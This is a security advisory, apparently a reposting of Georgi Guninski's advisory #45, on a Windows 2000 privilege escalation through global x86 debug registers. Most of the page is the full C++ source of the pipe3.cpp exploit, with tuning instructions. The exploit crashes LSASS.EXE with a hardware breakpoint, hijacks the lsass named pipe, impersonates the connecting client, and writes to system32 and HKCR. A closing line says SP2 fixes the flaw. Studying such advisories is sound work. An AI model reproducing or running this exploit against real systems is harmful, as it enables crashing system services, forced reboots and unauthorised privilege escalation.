|
Vulnerability kernel Affected Win2K Description Following is based on a Georgi Guninski security advisory #45. If someone can execute programs on a target Win2K system then he may elevate his privileges at least to extent which gives him write access to C:\WINNT\SYSTEM32 and HKCR. The problem is the x86 debug registers DR0-7 are global for all processes. So setting a hardware breakpoint in one process affects other processes and services. If the hardware breakpoint is hit in a service then an unhandled single step exception occurs and the process/service is terminated. After the service is terminated it is possible to hijack its trusted named pipes and when another service writes to the named pipe it is possible to impersonate the service. In my exploit pipe3.cpp LSASS.EXE is killed with the help of hardware breakpoint and then \\.\pipe\lsass is hijacked. Simple test for debug registers. Start debugging CALC.EXE with windbg. Set hardware breakpoint on memory write to the current value of ESP. Start taskmgr.exe and wait some time. If you start receiving Single Step exception with dialog boxes and/or BSOD in processess other than CALC.EXE then there is vulnerability. Notes on using pipe3.cpp: pipe3.cpp is kind of ugly but works on all the boxes I have tested. It has 2 arguments - <pid of LSASS.EXE> and <ESP in LSASS.EXE>. Build and start pipe3. Wait some time. The expected result is to get exception in LSASS.EXE and then it must be terminated. Then after sometime the console is locked and the mashine is rebooted. A file is created in c:\winnt\system32 and a key in HKCR. If LSASS.EXE is not terminated stop and restart pipe3. If nothing happens you may need to play with the parameter MAGICESPINLSA - this is the ESP in a thread in LSASS.EXE. If you get BSOD then you need more playing with the parameter and or Sleep(). Demonstration: http://www.guninski.com/pipe3.cpp pipe3.cpp: // Win2K elevation of privileges // Written by Georgi Guninski http://www.guninski.com // Kind of ugly but works // Check the disclaimer and advisory at http://www.guninski.com/dr07.html #define _WIN32_WINNT 0x0500 #include <stdio.h> #include <windows.h> #include <stdlib.h> // may need to change below /////////////////////////////// DWORD lsasspid=224; // pid of LSASS.EXE //DWORD lsasspid=236; // pid of LSASS.EXE DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it ////////////////////////////// char szPipe[64]="\\\\.\\pipe\\lsass"; HANDLE hProc = NULL; PROCESS_INFORMATION pi; volatile int lsadied = 0; unsigned long __stdcall threadlock(void *v) { Sleep(1000); LockWorkStation(); return 0; } unsigned long __stdcall threadwriter(void *v) { while(!lsadied) { FILE *f1; f1=fopen("\\\\.\\pipe\\lsass","a"); if (f1 != NULL) { fprintf(f1,"A"); fclose(f1); } /* else printf("%s\n","error writing to pipe"); */ Sleep(400); } printf("%s\n","Stop writing to pipe"); return 0; } unsigned long __stdcall waitlsadie(void *v) { int lsadied2=0; long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL; if ( !NtQuerySystemInformation ) NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG, ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" ); typedef struct _tagThreadInfo { FILETIME ftCreationTime; DWORD dwUnknown1; DWORD dwStartAddress; DWORD dwOwningPID; DWORD dwThreadID; DWORD dwCurrentPriority; DWORD dwBasePriority; DWORD dwContextSwitches; DWORD dwThreadState; DWORD dwWaitReason; DWORD dwUnknown2[ 5 ]; } THREADINFO, *PTHREADINFO; #pragma warning( disable:4200 ) typedef struct _tagProcessInfo { DWORD dwOffset; DWORD dwThreadCount; DWORD dwUnknown1[ 6 ]; FILETIME ftCreationTime; DWORD dwUnknown2[ 5 ]; WCHAR* pszProcessName; DWORD dwBasePriority; DWORD dwProcessID; DWORD dwParentProcessID; DWORD dwHandleCount; DWORD dwUnknown3; DWORD dwUnknown4; DWORD dwVirtualBytesPeak; DWORD dwVirtualBytes; DWORD dwPageFaults; DWORD dwWorkingSetPeak; DWORD dwWorkingSet; DWORD dwUnknown5; DWORD dwPagedPool; DWORD dwUnknown6; DWORD dwNonPagedPool; DWORD dwPageFileBytesPeak; DWORD dwPrivateBytes; DWORD dwPageFileBytes; DWORD dwUnknown7[ 4 ]; THREADINFO ti[ 0 ]; } _PROCESSINFO, *PPROCESSINFO; #pragma warning( default:4200 ) PBYTE pbyInfo = NULL; DWORD cInfoSize = 0x20000; while(!lsadied2) { pbyInfo = ( PBYTE ) malloc( cInfoSize ); NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ; PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo; bool bLast = false; lsadied2 = 1; do { if ( pProcessInfo->dwOffset == 0 ) bLast = true; if (pProcessInfo->dwProcessID == lsasspid) lsadied2 = 0 ; pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset ); } while( bLast == false ); free( pbyInfo ); } printf("LSA died!\n"); lsadied=1; return 0; } void add_thread(HANDLE thread) { CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS}; //DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0 SuspendThread(thread); GetThreadContext(thread,&ctx); ctx.Dr7=0xd0000540; ctx.Dr6=0xffff0ff0; ctx.Dr3=MAGICESPINLSA; ctx.Dr2=0; ctx.Dr1=0; ctx.Dr0=0; SetThreadContext(thread, &ctx); ResumeThread(thread); // printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0); } unsigned long __stdcall threaddeb(void *v) { STARTUPINFO si = { sizeof(STARTUPINFO) }; CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0, CREATE_NEW_CONSOLE,0,0,&si,&pi); Sleep(2000); BOOL status = CreateProcess( 0, "c:\\winnt\\system32\\calc.exe", 0,0,0, DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NEW_CONSOLE, 0,0,&si,&pi); if( !status ) { printf("%s\n","error debugging"); exit(1); } add_thread(pi.hThread); for( ;; ) { DEBUG_EVENT de; if( !WaitForDebugEvent(&de, INFINITE) ) { printf("%s\n","error WaitForDebugEvent"); } switch( de.dwDebugEventCode ) { case CREATE_THREAD_DEBUG_EVENT: add_thread(de.u.CreateThread.hThread); break; } ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE); } return 0; } int main(int argc,char* argv[]) { DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); DWORD dwNumber = 0; char szUser[256]; HANDLE hPipe = 0; if (argc > 1) lsasspid=atoi(argv[1]); if (argc > 2) sscanf(argv[2],"%x",&MAGICESPINLSA); printf("Fun with debug registers. Written by Georgi Guninski\n"); printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA); CreateThread(0, 0, &threadwriter, NULL, 0, 0); CreateThread(0, 0, &waitlsadie, NULL, 0, 0); CreateThread(0, 0, &threaddeb, NULL, 0, 0); while(!lsadied); printf("start %s\n",szPipe); hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } CreateThread(0, 0, &threadlock, NULL, 0, 0); ConnectNamedPipe (hPipe, NULL); if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL)) { printf ("Failed to read the named pipe.\n"); CloseHandle(hPipe); return 4; } if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } dwSize = 256; GetUserName(szUser, &dwSize); printf ("Impersonating dummy :) : %s\n\n\n\n", szUser); // the action begins FILE *f1; f1=fopen("c:\\winnt\\system32\\vv1.vv","a"); if (f1 != NULL) { fprintf(f1,"lsass worked\n"); fclose(f1); printf("\n%s\n","Done!"); } else printf("error creating file"); fflush(stdout); HKEY mykey; RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey); RegCloseKey(mykey); CloseHandle(hPipe); return 0; } Solution According to Microsoft SP2 fixes this though Georgi has not verified it personally.